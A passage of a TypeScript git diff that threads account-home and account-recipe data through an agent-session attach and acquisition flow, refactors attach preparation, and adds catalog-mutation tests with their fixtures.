this.pending.clear() + this.requests = [] + this.latest = null + this.building = true + this.floor = 0 + } + + ready(): void { + this.building = false + for (const key of this.groups.keys()) { + if (key !== this.latest?.itemId) { + this.groups.delete(key) + } + } + } + + submission(submission: AgentJournalSubmission | undefined): void { + if (!submission) { + return + } + if (submission.dispatchState === 'pending') { + this.pending.set(submission.clientMessageId, submission) + } else { + this.pending.delete(submission.clientMessageId) + } + } + + item(journal: AgentSessionJournal, item: AgentJournalRenderItem): void { + if (!isRootAgentJournalItem(item)) { + return + } + if (isAgentSessionContextClear(item.body)) { + if (item.sequence > this.floor) { + this.floor = item.sequence + this.groups.clear() + this.requests = [] + this.latest = null + } + return + } + if (item.sequence <= this.floor) { + return + } + const turn = readAgentJournalTurn(item.body) + if (turn && !isStructuredAgentSessionCommandTurn(turn, journal.itemBody)) { + if (item.sequence >= (this.latest?.sequence ?? 0)) { + if (!this.building && this.latest?.itemId !== item.itemId) { + this.groups.clear() + } + this.latest = item + } + } + const scope = turn + ? item.itemId + : item.turnScope?.kind === 'turn' + ? item.turnScope.turnItemId + : null + if (scope && (this.building || scope === this.latest?.itemId)) { + const group = this.groups.get(scope) ?? new Map() + group.set(item.itemId, item) + this.groups.set(scope, group) + } + if (item.body.kind === 'message' && item.body.role === 'user') { + this.requests = this.requests.filter((entry) => entry.itemId !== item.itemId) + } + if ( + item.body.kind === 'message' && + item.body.role === 'user' && + !item.body.command && + item.turnScope?.kind !== 'turn' + ) { + this.requests = [...this.requests.filter((entry) => entry.itemId !== item.itemId), item] + .sort((a, b) => b.sequence - a.sequence) + .slice(0, 2) + } + } + + allows(journal: AgentSessionJournal, next: AgentJournalSubmission): boolean { + const key = journal.canonicalItemId(agentJournalSubmissionKey(next.clientMessageId)) + const items = [ + ...(this.groups.get(this.latest?.itemId ?? '')?.values() ?? []), + ...this.requests.filter((item) => item.itemId !== key) + ].sort((a, b) => a.sequence - b.sequence) + return ( + latestNativeChatUsageLimitCut( + items, + [...this.pending.values()].filter( + (submission) => submission.clientMessageId !== next.clientMessageId + ) + ) !== null + ) + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-acquisition.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-acquisition.ts index 2ddef409a53..60a7b45638f 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-acquisition.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-acquisition.ts @@ -1,5 +1,6 @@ import { isDeepStrictEqual } from 'node:util' import { abortSignalReason } from '../../../shared/abort-signal-reason' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' import type { AgentSessionProcessIdentity, AgentSessionRecord @@ -30,6 +31,7 @@ export async function acquireOwner( ): Promise<{ record: AgentSessionRecord acquisitionGeneration: string + accountHome?: AgentSessionAccountHome }> { const fence = record.lease.runtimeFence const spawnToken = record.lease.reservedSpawnToken @@ -43,6 +45,7 @@ export async function acquireOwner( throw new AgentSessionPreSpawnError(error) } const permissionMode = await input.launchPermissionMode?.(record) + const accountRecipe = await input.launchAccountRecipe?.(record) try { await input.assertNoTerminalWriter?.(record) } catch (error) { @@ -62,6 +65,7 @@ export async function acquireOwner( // Retry the existing reservation instead of spawning a second child. spawnToken, ...(permissionMode ? { permissionMode } : {}), + ...(accountRecipe ? { accountRecipe } : {}), ...(input.eventSink ? { events: input.eventSink } : {}), ...(input.acquireSignal ? { signal: input.acquireSignal } : {}), ...(input.startupOptions ? { startupOptions: input.startupOptions } : {}), @@ -95,9 +99,21 @@ export async function acquireOwner( sessionId: record.sessionId, fence, ...(acquired.link ? { link: acquired.link } : {}), + ...(acquired.accountRecipe + ? { + accountAcquisition: { + generation: acquired.acquisitionGeneration, + recipe: acquired.accountRecipe + } + } + : {}), now: input.now() }) - return { record: proved, acquisitionGeneration: acquired.acquisitionGeneration } + return { + record: proved, + acquisitionGeneration: acquired.acquisitionGeneration, + ...(acquired.accountHome ? { accountHome: acquired.accountHome } : {}) + } } catch (error) { if (isAgentSessionPreSpawnError(error)) { throw error diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts index 44ffbe9b926..5117fe2f054 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts @@ -15,7 +15,7 @@ export type PromptProjection = { } export function reusePromptProjection( - journal: Partial>, + journal: Partial>, prior: PromptProjection | undefined, cursor: Pick, liveFence: number | null @@ -35,16 +35,24 @@ export function reusePromptProjection( prior.dependencies.has(change.itemId) || (change.kind === 'item' && (change.body.kind === 'approval' || change.body.kind === 'question')) + const outcomeTouches = (itemId: string): boolean => { + if (!journal.item || prior.dependencies.has(itemId)) { + return true + } + const body = journal.item(itemId)?.body + return body?.kind === 'approval' || body?.kind === 'question' + } if ( delta.ok && delta.cursor.sequence === cursor.sequence && delta.rows.at(-1)?.seq === cursor.sequence && - delta.rows.every( - (row, index) => - row.seq === prior.sequence + index + 1 && - (row.kind === 'lifecycle-batch' - ? !row.mutations.some(touches) - : (row.kind === 'item' || row.kind === 'tombstone') && !touches(row)) + delta.rows.every((row, index) => + row.kind === 'outcome' + ? row.submissionIds.length === 0 && !row.itemIds.some(outcomeTouches) + : row.seq === prior.sequence + index + 1 && + (row.kind === 'lifecycle-batch' + ? !row.mutations.some(touches) + : (row.kind === 'item' || row.kind === 'tombstone') && !touches(row)) ) ) { prior.sequence = cursor.sequence diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-adapter.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-adapter.ts index 8d0b1996c4e..b7e43057ca9 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-adapter.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-adapter.ts @@ -1,3 +1,4 @@ +import type { ClaudeAccountRecipe } from '../../../shared/agent-session-acquired-account' import type { StructuredAgentSessionAdmitFreshInput } from './structured-agent-session-input-admission' import type { AiVaultConversationCopy } from '../../../shared/ai-vault-resume-preparation' import type { AgentChatPermissionChoice } from '../../../shared/agent-chat-permission-mode' @@ -71,11 +72,14 @@ export { } from './structured-agent-session-acquisition-errors' export type AgentSessionAcquisition = { + accountRecipe?: ClaudeAccountRecipe process: AgentSessionProcessIdentity /** Spawn-time handles only; protocol handles come from open. */ link?: AgentSessionProviderHandleLink /** Exact host-local child identity, even when acquisitions reuse a durable fence. */ acquisitionGeneration: string + /** The account home this child launched under, when its launch follows the selection. */ + accountHome?: AgentSessionAccountHome } /** The host creates the command’s running turn; the child translator ends it and writes its result. */ diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts index 1b6082b1efb..fdec1d981d3 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts @@ -256,7 +256,9 @@ describe('an open chat receives each row once', () => { epoch: row.epoch, sequence: row.seq, kind: row.kind, - itemId: 'itemId' in row ? row.itemId : null + // A new chat saves outcomes, whose change index names the items each sequence wrote. + itemId: + row.kind === 'outcome' ? row.itemIds.join() : 'itemId' in row ? row.itemId : null })) : [] }) @@ -285,7 +287,7 @@ describe('an open chat receives each row once', () => { { epoch: committedCursor.epoch, sequence: committedCursor.sequence, - kind: 'item', + kind: 'outcome', itemId: 'orca:streamed' } ] diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-account.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-account.ts new file mode 100644 index 00000000000..e0d0760970e --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-account.ts @@ -0,0 +1,28 @@ +import type { AttachFlowInput } from './structured-agent-session-attach-flow' +import type { StructuredAgentSessionAttachContext } from './structured-agent-session-attach-context' +import type { StructuredAgentSessionAttachLock } from './structured-agent-session-attach-lock' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' + +export function structuredAgentSessionAttachAccount( + context: StructuredAgentSessionAttachContext, + startedFor: string | undefined, + lock: StructuredAgentSessionAttachLock +): NonNullable { + return async (record) => { + const { account } = await lock.commit(async () => { + const current = context.deps.store.requireWritableRecord(record.sessionId) + const session = context.sessions.get(record.sessionId) + const next = startedFor ? session?.journal.submission(startedFor) : undefined + return { + account: structuredAgentSessionReceivingAccount( + context.deps, + current, + session, + next, + 'identity' + ) + } + }) + return (await lock.wait(account)).recipe + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-flow.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-flow.ts index 36407701b30..6a617e4350f 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-flow.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-flow.ts @@ -1,3 +1,4 @@ +import type { ClaudeAccountRecipe } from '../../../shared/agent-session-acquired-account' import { refuse } from '../../../shared/agent-session-wire-refusals' import { settlePostAcquisitionAttachFailure, @@ -16,6 +17,7 @@ import type { } from '../../../shared/agent-session-wire' import { agentSessionLeaseAdmitsWriter } from '../../../shared/agent-session-lease-adjudication' import type { AgentSessionRecord } from '../../../shared/agent-session-record' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' import type { AgentChatPermissionChoice } from '../../../shared/agent-chat-permission-mode' import { admitAttachOrRefuse, @@ -79,6 +81,7 @@ export type AttachFlowInput = { attempt: StructuredAgentSessionStartupAttempt ) => StructuredAgentSessionStartupProgress startupOptions?: Readonly> + launchAccountRecipe?: (record: AgentSessionRecord) => Promise launchPermissionMode?: ( record: AgentSessionRecord ) => Promise @@ -86,7 +89,9 @@ export type AttachFlowInput = { onAttached: ( attached: AttachedJournal, acquisitionGeneration: string | null, - owner: AttachedOwner + owner: AttachedOwner, + /** The account home the spawned child launched under, when its adapter reports one. */ + accountHome?: AgentSessionAccountHome ) => Promise | void /** Wait outside commits for sink drains/provider reads. */ beforePublish?: (owner: AttachedOwner) => Promise @@ -137,6 +142,7 @@ export async function performAttach( let record: AgentSessionRecord let acquisitionGeneration: string | null = null + let accountHome: AgentSessionAccountHome | undefined let owner: AttachedOwner = 'kept' let reservedRecord: AgentSessionRecord | null = null let unsupportedReservationSettlementAttempted = false @@ -204,6 +210,7 @@ export async function performAttach( ) record = acquired.record acquisitionGeneration = acquired.acquisitionGeneration + accountHome = acquired.accountHome owner = 'acquired' } } catch (error) { @@ -262,7 +269,7 @@ export async function performAttach( openConversation: input.openConversation }) await importAdoptedTranscript(params, journal, acquired, preparedTranscript.items) - await input.onAttached(journal, acquisitionGeneration, owner) + await input.onAttached(journal, acquisitionGeneration, owner, accountHome) return journal }) await lock.wait(input.beforePublish?.(owner) ?? Promise.resolve()) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-orchestration.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-orchestration.ts index a4ab8a0cbbb..b0beac315e8 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-orchestration.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-orchestration.ts @@ -1,3 +1,5 @@ +import { prepareStructuredAgentSessionAttach } from './structured-agent-session-attach-preparation' +import { structuredAgentSessionAttachAccount } from './structured-agent-session-attach-account' import { publishAttachedChild, readBoundChildRewind, @@ -7,7 +9,6 @@ import { import { agentSessionLeaseAdmitsWriter } from '../../../shared/agent-session-lease-adjudication' import { refuse } from '../../../shared/agent-session-wire-refusals' import { randomUUID } from 'node:crypto' -import { isFloatingWorkspaceId } from '../../../shared/floating-workspace-worktree' import type { AgentSessionAttachResult, AgentSessionMutationResult @@ -20,7 +21,6 @@ import { pinnedAgentSessionLaunchArgs, pinnedAgentSessionLaunchEnv } from './structured-agent-session-launch-env' -import { refuseAgentSessionMutation } from './structured-agent-session-mutation-admission' import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' import { structuredAgentSessionFailureWordsContext } from './structured-agent-session-send-preparation' import type { @@ -33,7 +33,6 @@ import { structuredAgentSessionAttachPermission } from './structured-agent-sessi import { isStructuredAgentSessionStartupExpired } from './structured-agent-session-startup-attempt-contract' import { addAgentSessionCreatePhaseAttributes, - withAgentSessionCreatePhase, withAgentSessionSpan, type AgentSessionCreatePhaseRecorder } from '../../observability/agent-session-instrumentation' @@ -146,35 +145,11 @@ async function runAttachUnderAbort( ): Promise> { const sessionId = params.envelope.sessionId const recordPhase = options.recordPhase - // Moving the fence requires rebaselining existing readers. - const fenceBefore = context.sessions.has(sessionId) - ? structuredAgentSessionConversationFence(context.deps.store, sessionId) - : null - const unreconciled = await withAgentSessionCreatePhase('reconcile_leases', recordPhase, () => - lock.wait(context.reconcileLeases(sessionId)) - ) - if (unreconciled) { - return refuseAgentSessionMutation(unreconciled) - } - await withAgentSessionCreatePhase('resolve_recovery', recordPhase, () => - lock.wait(context.runtimeState.resolveRecovery(sessionId)) - ) - const probe = await withAgentSessionCreatePhase('probe_owner', recordPhase, () => - lock.wait(context.runtimeState.probeOwner(sessionId)) - ) - // Capture prior death evidence before reservation clears it; stale-work settlement needs the verdict. - const priorRecord = context.deps.store.getRecord(sessionId) - const priorDeathEvidence = priorRecord?.lease.deathEvidence ?? null - const launchDirectory = - !priorRecord && isFloatingWorkspaceId(params.location.workspaceId) - ? (options.hostLaunchDirectory ?? - (await lock.wait( - Promise.resolve(context.deps.resolveWorkspacePath?.(params.location.workspaceId)) - ))) - : undefined - if (!priorRecord && isFloatingWorkspaceId(params.location.workspaceId) && !launchDirectory) { - throw new Error('floating_agent_session_launch_directory_unavailable') + const prepared = await prepareStructuredAgentSessionAttach(context, params, options, lock) + if (!prepared.ok) { + return prepared } + const { fenceBefore, priorRecord, priorDeathEvidence, probe, launchDirectory } = prepared // Attempt sinks become session-owned only on successful attach; failures close their buffered writes. const attemptSink = context.runtimeState.mintEventSink(sessionId) const attempt: AttachAttempt = { @@ -232,6 +207,7 @@ async function runAttachUnderAbort( }, ...(options.startupOptions ? { startupOptions: options.startupOptions } : {}), launchPermissionMode: structuredAgentSessionAttachPermission(context, options, lock), + launchAccountRecipe: structuredAgentSessionAttachAccount(context, options.startedFor, lock), assertNoTerminalWriter: async (record) => { await lock.wait(Promise.resolve(context.deps.assertNoTerminalWriter?.(record))) }, @@ -245,7 +221,7 @@ async function runAttachUnderAbort( }, onAcquisitionReleased: (cause, verdict) => endStructuredAgentSessionReleasedChild(context, sessionId, cause, verdict), - onAttached: async (attached, acquisitionGeneration, owner) => { + onAttached: async (attached, acquisitionGeneration, owner, accountHome) => { const fence = structuredAgentSessionConversationFence(context.deps.store, sessionId) const current = context.sessions.get(sessionId)?.child ?? null // Reattach preserves the live child’s existing sink. @@ -271,7 +247,8 @@ async function runAttachUnderAbort( publish: (activity) => context.subscribers.publish(sessionId, attached.journal, activity) }) const { journal } = attached - attempt.bound = { acquisitionGeneration, owner, fence, journal, current, eventSink } + const bound = { acquisitionGeneration, owner, fence, journal, current, eventSink } + attempt.bound = accountHome ? { ...bound, accountHome } : bound }, // Drain outside commits; proven children also resolve uncertain rewinds before publication. beforePublish: async (owner) => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-preparation.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-preparation.ts new file mode 100644 index 00000000000..f4476491e46 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-preparation.ts @@ -0,0 +1,66 @@ +import { isFloatingWorkspaceId } from '../../../shared/floating-workspace-worktree' +import type { AgentSessionAttachParams } from './structured-agent-session-attach' +import type { StructuredAgentSessionAttachContext } from './structured-agent-session-attach-context' +import type { StructuredAgentSessionAttachLock } from './structured-agent-session-attach-lock' +import type { StructuredAgentSessionAttachOptions } from './structured-agent-session-attach-orchestration' +import { refuseAgentSessionMutation } from './structured-agent-session-mutation-admission' +import { structuredAgentSessionConversationFence } from './structured-agent-session-provider-child' +import { openConversationForWrite } from './structured-agent-session-send-preparation' +import { withAgentSessionCreatePhase } from '../../observability/agent-session-instrumentation' + +/** Ordinary recovery observes the old death proof before reservation can replace it. */ +export async function prepareStructuredAgentSessionAttach( + context: StructuredAgentSessionAttachContext, + params: AgentSessionAttachParams, + options: StructuredAgentSessionAttachOptions, + lock: StructuredAgentSessionAttachLock +) { + const sessionId = params.envelope.sessionId + const recordPhase = options.recordPhase + // Moving the fence requires rebaselining existing readers. + let fenceBefore = context.sessions.has(sessionId) + ? structuredAgentSessionConversationFence(context.deps.store, sessionId) + : null + const unreconciled = await withAgentSessionCreatePhase('reconcile_leases', recordPhase, () => + lock.wait(context.reconcileLeases(sessionId)) + ) + if (unreconciled) { + return refuseAgentSessionMutation(unreconciled) + } + await withAgentSessionCreatePhase('resolve_recovery', recordPhase, () => + lock.wait(context.runtimeState.resolveRecovery(sessionId)) + ) + const probe = await withAgentSessionCreatePhase('probe_owner', recordPhase, () => + lock.wait(context.runtimeState.probeOwner(sessionId)) + ) + const { priorRecord, priorDeathEvidence, opened } = await lock.commit(async () => { + const priorRecord = context.deps.store.getRecord(sessionId) + const priorDeathEvidence = priorRecord?.lease.deathEvidence ?? null + const opened = + priorRecord && !context.sessions.has(sessionId) + ? await openConversationForWrite( + context.openConversation, + params.envelope, + context.deps.logger + ) + : { ok: true as const } + if (opened.ok && priorRecord && fenceBefore === null) { + fenceBefore = structuredAgentSessionConversationFence(context.deps.store, sessionId) + } + return { priorRecord, priorDeathEvidence, opened } + }) + if (!opened.ok) { + return opened + } + const launchDirectory = + !priorRecord && isFloatingWorkspaceId(params.location.workspaceId) + ? (options.hostLaunchDirectory ?? + (await lock.wait( + Promise.resolve(context.deps.resolveWorkspacePath?.(params.location.workspaceId)) + ))) + : undefined + if (!priorRecord && isFloatingWorkspaceId(params.location.workspaceId) && !launchDirectory) { + throw new Error('floating_agent_session_launch_directory_unavailable') + } + return { ok: true as const, fenceBefore, priorRecord, priorDeathEvidence, probe, launchDirectory } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-publish.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-publish.ts index 5a02466af14..323fe31f93d 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-attach-publish.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-attach-publish.ts @@ -3,6 +3,7 @@ import type { AgentModelCatalogSource } from '../agent-model-catalog/agent-model // the session's events go through, and its open begins. import type { AttachedJournal } from './structured-agent-session-attach' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' import type { AgentSessionJournal } from '../agent-session-journal/journal-store' import type { AttachedOwner } from './structured-agent-session-attach-flow' import type { StructuredAgentSessionAttachContext } from './structured-agent-session-attach-context' @@ -25,6 +26,8 @@ export type AttachCandidate = { export type BoundAttach = { acquisitionGeneration: string | null + /** The account home the spawned child launched under, when its adapter reports one. */ + accountHome?: AgentSessionAccountHome owner: AttachedOwner fence: number journal: AgentSessionJournal @@ -76,9 +79,10 @@ export async function publishAttachedChild( return false } const { acquisitionGeneration, owner, fence, current, eventSink } = bound - // Retained children keep their original launch mode. + // A re-attach to a live child keeps the mode and account that child was launched with. const permissionMode = owner === 'acquired' ? attempt.startup?.permissionMode : current?.permissionMode + const accountHome = owner === 'acquired' ? bound.accountHome : current?.accountHome const startedFor = owner === 'acquired' ? input.startedFor : current?.startedFor const child = owner === 'acquired' @@ -90,7 +94,8 @@ export async function publishAttachedChild( heldSends: () => context.deps.adapter.heldSends?.(sessionId), exitObservation: eventSink.exitObservation, ...(startedFor === undefined ? {} : { startedFor }), - ...(permissionMode === undefined ? {} : { permissionMode }) + ...(permissionMode === undefined ? {} : { permissionMode }), + ...(accountHome === undefined ? {} : { accountHome }) } : owner === 'kept' && current ? current diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-mutation.test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-mutation.test-support.ts new file mode 100644 index 00000000000..2131a61cf59 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-mutation.test-support.ts @@ -0,0 +1,201 @@ +import { rm } from 'node:fs/promises' +import { join } from 'node:path' +import { expect, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { modelCatalogHostDeps } from '../../runtime/structured-agent-model-catalog-wiring' +import { + agentModelCatalogFingerprint, + agentModelCatalogScopeFingerprint +} from '../agent-model-catalog/agent-model-catalog-fingerprint' +import { agentModelCatalogStore } from '../agent-model-catalog/agent-model-catalog-store' +import { closeTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { readPersistedTestAgentSessionStore } from '../../runtime/agent-session-record-store-test-harness' +import { hostTestOperationId } from './structured-agent-session-host-test-data' +import { createTestParams } from './structured-agent-session-create-test-fixture' +import { + type RestTestRig, + createRestTestRig, + REST_TEST_CALLER as CALLER, + REST_TEST_SESSION as SESSION +} from './structured-agent-session-rest-test-rig' + +export const CLAUDE_MODEL = 'claude-opus-5-5[1m]' +export const CODEX_MODEL = 'gpt-5.4' + +export async function catalogMutationDeadline(work: Promise, boundary: string): Promise { + let timer: ReturnType | undefined + try { + return await Promise.race([ + work, + new Promise((_, reject) => { + timer = setTimeout( + () => reject(new Error(`${boundary} did not settle within 2000ms`)), + 2_000 + ) + }) + ]) + } finally { + clearTimeout(timer) + } +} + +/** Stop test-owned resources without joining a deliberately failed conversation cycle. */ +export async function disposeCatalogMutationHost(rig: RestTestRig): Promise { + // A failed lock-cycle contract cannot use graceful quit, which joins that same delivery tail. + rig.host.stopDelivery() + const { lifetime, runtimeState, sessions } = rig.host.collaboratorsForTests() + lifetime.dispose() + rig.host.deps.modelCatalog?.stop() + try { + await catalogMutationDeadline( + (async () => { + await runtimeState.stopLeaseRenewal() + await runtimeState.flushAllEventSinks() + await Promise.all([...sessions.values()].map((session) => session.journal.close())) + sessions.clear() + rig.host['clientDelivery'].closeAll() + })(), + 'fixture resource drain' + ) + } finally { + closeTestJournalHostDatabase(rig.root) + } +} + +/** Only external adapter/probe IO is scripted; catalog installation and session owners are real. */ +export async function createCatalogMutationFixture( + stateDirectory: string, + agent: 'claude' | 'codex' +) { + const rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) + const dispose = async () => { + try { + await disposeCatalogMutationHost(rig) + } finally { + await rm(rig.root, { recursive: true, force: true }) + } + } + try { + const home = { + variable: agent === 'claude' ? 'CLAUDE_CONFIG_DIR' : 'CODEX_HOME', + path: join(rig.root, agent) + } + const model = agent === 'claude' ? CLAUDE_MODEL : CODEX_MODEL + const probe = vi.fn(async (): Promise => { + throw new Error('saved catalog reads must not launch discovery') + }) + const definition = rig.host.deps.agents.definition(agent) + if (!definition) { + throw new Error(`missing real ${agent} definition`) + } + const installed = await modelCatalogHostDeps({ + store: rig.store, + agents: rig.host.deps.agents, + registrations: [ + { + definition, + modelCatalog: () => ({ + kind: 'probe', + listingNamesConfiguredModel: agent === 'codex', + probe + }) + } + ], + host: () => rig.host, + deps: { + stateDirectory, + hostId: 'local', + claimKeyId: 'key-1', + resolveWorkspacePath: async () => rig.root, + resolveLaunchArgs: () => [], + resolveClaudeAuthPolicy: () => ({ account: 'system' }), + resolveAgentAccountHome: async () => home, + logger: rig.host.deps.logger + }, + environment: { + resolveBaseEnvironment: async () => ({}), + resolveAgentEnvironment: async () => ({}), + refreshAfterMissingProgram: async () => {}, + bindCatalogSources: () => () => {} + } + }) + const catalog = installed.modelCatalog + if (!catalog) { + throw new Error('runtime catalog was not installed') + } + rig.host.deps.modelCatalog = catalog + rig.host.deps.launchAccountHome = async () => home + const fingerprint = agentModelCatalogScopeFingerprint( + agentModelCatalogFingerprint({ agent, accountHome: home, wslDistro: null }), + rig.root + ) + agentModelCatalogStore.recordSuccess( + fingerprint, + agent, + { + models: [ + { id: model, label: model, isDefault: true, efforts: [{ value: 'high', label: 'High' }] } + ], + origin: 'probe', + complete: true + }, + 'discovery' + ) + const created = await catalogMutationDeadline( + rig.host.create( + CALLER, + createTestParams(undefined, { + agent, + provider: agent, + accountHome: home + }) + ), + 'at-rest fixture creation' + ) + expect(created).toMatchObject({ ok: true }) + expect(rig.store.requireWritableRecord(SESSION).lease).toMatchObject({ + claimStatus: 'released', + ownerProcess: null + }) + expect(rig.adapter.acquire).not.toHaveBeenCalled() + expect( + await catalogMutationDeadline( + catalog.prepareSaved({ + agent, + sessionId: SESSION, + inSessionWorkspace: true, + verifiedOnly: true + }), + 'external catalog fixture preflight' + ) + ).toMatchObject({ origin: 'probe', models: [{ id: model }] }) + + const request = (key: string, value: string) => ({ + key, + value, + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: rig.store.requireWritableRecord(SESSION).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: SESSION, + fields: { key, value } + }) + } + }) + return { + rig, + home, + model, + catalog, + probe, + request, + persisted: () => readPersistedTestAgentSessionStore(rig.root), + dispose + } + } catch (error) { + await dispose() + throw error + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-mutation.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-mutation.test.ts new file mode 100644 index 00000000000..ee1dcff6b05 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-mutation.test.ts @@ -0,0 +1,202 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterAll, beforeAll, describe, expect, it } from 'vitest' +import { structuredAgentSessionHandingOver } from './structured-agent-session-handing-over' +import { agentSessionOperationKey } from '../../../shared/agent-session-operation-ledger' +import { agentModelCatalogStore } from '../agent-model-catalog/agent-model-catalog-store' +import { createStructuredAgentSessionLifecycleDelivery } from '../../runtime/structured-agent-session-lifecycle-delivery' +import { + catalogMutationDeadline as settled, + CLAUDE_MODEL, + CODEX_MODEL, + createCatalogMutationFixture +} from './structured-agent-session-catalog-mutation.test-support' +import { + REST_TEST_CALLER as CALLER, + REST_TEST_SESSION as SESSION, + restTestSend +} from './structured-agent-session-rest-test-rig' + +let stateDirectory: string +beforeAll(async () => { + stateDirectory = await mkdtemp(join(tmpdir(), 'orca-catalog-mutation-')) +}) +afterAll(async () => { + await agentModelCatalogStore.flushPersistence() + await rm(stateDirectory, { recursive: true, force: true }) +}) + +describe('installed catalog inside ordinary serialized mutations', () => { + it.each([ + ['model', CLAUDE_MODEL], + ['permissionMode', 'own'] + ])( + 'settles and persists %s at rest, then accepts the next ordinary pick without a provider', + async (key, value) => { + const f = await createCatalogMutationFixture(stateDirectory, 'claude') + try { + const params = f.request(key, value) + expect( + await settled(f.rig.host.setOption(CALLER, params), `${key} mutation`) + ).toMatchObject({ + ok: true, + replayed: false, + value: { key, value, options: { [key]: value } } + }) + const saved = await f.persisted() + expect( + saved.operations[ + agentSessionOperationKey(CALLER.callerKey, params.envelope.clientOperationId) + ]?.outcome + ).toMatchObject({ status: 'succeeded', sessionId: SESSION }) + expect( + key === 'model' + ? saved.records[SESSION]?.options?.model + : saved.records[SESSION]?.permissionMode + ).toBe(value) + expect(await settled(f.rig.host.setOption(CALLER, params), 'option replay')).toMatchObject({ + ok: true, + replayed: true, + value: { key, value } + }) + expect( + await settled( + f.rig.host.setOption(CALLER, f.request('effort', 'high')), + 'next ordinary pick' + ) + ).toMatchObject({ ok: true, value: { key: 'effort', value: 'high' } }) + expect((await f.persisted()).records[SESSION]?.options?.effort).toBe('high') + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(f.rig.adapter.dispatch).not.toHaveBeenCalled() + expect(f.rig.adapter.readOptions).not.toHaveBeenCalled() + expect(f.probe).not.toHaveBeenCalled() + } finally { + await f.dispose() + } + }, + 10_000 + ) +}) + +describe('installed catalog through Codex delivery and report settlement', () => { + // Real host setup, repeated 2s boundary deadlines and bounded resource drains share this budget. + it('finishes admitted ran-options bookkeeping, parks, and releases a later ordinary action', async () => { + const f = await createCatalogMutationFixture(stateDirectory, 'codex') + try { + f.rig.host.deps.adapter.open = async () => ({ + reportedOptions: { model: CODEX_MODEL, effort: 'high' } + }) + const dispatched = Promise.withResolvers() + f.rig.adapter.dispatch.mockImplementation(async () => { + expect(f.rig.store.requireWritableRecord(SESSION).options).toBeUndefined() + dispatched.resolve() + return { state: 'admitted', ranOptions: { model: CODEX_MODEL, effort: 'high' } } + }) + const sent = await settled( + f.rig.host.send( + CALLER, + restTestSend( + 'run with the configured model', + f.rig.store.requireWritableRecord(SESSION).lease.runtimeFence + ) + ), + 'send acceptance' + ) + expect(sent).toMatchObject({ ok: true }) + const { conversationDelivery, sessions } = f.rig.host.collaboratorsForTests() + await settled(dispatched.promise, 'actual Codex dispatch admission') + expect(f.rig.adapter.dispatch).toHaveBeenCalledOnce() + expect(f.rig.adapter.acquire).toHaveBeenCalledOnce() + expect(await f.rig.adapter.acquire.mock.results[0]?.value).not.toHaveProperty('accountHome') + expect(f.rig.host.childAccountHome(SESSION)).toBeUndefined() + await settled(conversationDelivery.loop.wake(SESSION), 'admitted delivery settlement') + expect(sessions.get(SESSION)?.journal.submissions().at(-1)).toMatchObject({ + dispatchState: 'pending', + handoverRecorded: true + }) + expect(conversationDelivery.loop.isRunning(SESSION)).toBe(false) + expect(structuredAgentSessionHandingOver(sessions.get(SESSION)!.journal).size).toBe(0) + expect((await f.persisted()).records[SESSION]?.options).toEqual({ + model: CODEX_MODEL, + effort: 'high' + }) + expect( + await settled( + f.rig.host.setOption(CALLER, f.request('permissionMode', 'own')), + 